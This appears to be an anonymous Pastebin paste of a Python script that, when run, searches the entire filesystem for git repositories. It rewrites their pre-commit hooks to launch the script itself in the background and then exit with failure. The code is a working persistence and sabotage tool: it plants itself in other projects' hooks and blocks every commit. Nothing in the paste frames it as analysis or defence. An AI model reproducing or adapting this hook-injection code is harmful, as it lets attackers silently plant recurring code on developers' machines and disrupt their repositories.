Guest User

Untitled

a guest
Jan 17th, 2019
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.20 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. import os
  3. import subprocess
  4.  
  5. def hook_git(once=True, hookonlysamples=None, onlyhook="pre-commit"):
  6. print("Collecting Repos")
  7. to_me = os.path.abspath(__file__)
  8. insert_string = "/usr/bin/python3 %s &\nexit 1" % to_me
  9. repos = []
  10. for root, dirs, files in os.walk("/"):
  11. #print(root)
  12. if ".git" in dirs:
  13. #print(("%s/.git/ found" % root))
  14. loc = os.path.join(root, ".git", "hooks")
  15. repos.append(loc)
  16. print("Found %d repos" % len(repos))
  17. print("installing git hooks")
  18. hooked = []
  19. for hook_dir in repos:
  20. if len(hooked) > 0 and once:
  21. break
  22. for root, dirs, files in os.walk(hook_dir):
  23. active = [n for n in files if ".sample" not in n]
  24. for f in files:
  25.  
  26. if f in active and hookonlysamples:
  27. continue
  28. if onlyhook is not None and onlyhook not in f:
  29. continue
  30. fp = os.path.join(root, f)
  31. f = f.replace(".sample", "")
  32. new_name = fp.replace(".sample", "")
  33. with open(fp, "r") as fi:
  34. ftext = fi.read()
  35. out = []
  36. injected = False
  37. # Go through the file and find the first non-comment line and
  38. # insert the payload there, pushing everything else down
  39. lines = ftext.split("\n")
  40. for l in lines:
  41.  
  42. if (len(l) == 0 or l[0] != "#") and not injected:
  43. out += [insert_string, "", l]
  44. injected = True
  45. else:
  46. out.append(l)
  47. new_hook = "\n".join(out)
  48. try:
  49. with open(new_name, "w+") as fo:
  50. fo.write(new_hook)
  51. subprocess.run(["chmod","+x", new_name])
  52. hooked.append(f)
  53. print("hooking %s" % new_name)
  54. except Exception as e:
  55. if e.errno == 13:
  56. continue
  57. else:
  58. print(e)
  59. if not hooked:
  60. print("Failed to insert hook")
  61.  
  62. hook_git()
Add Comment
Please, Sign In to add comment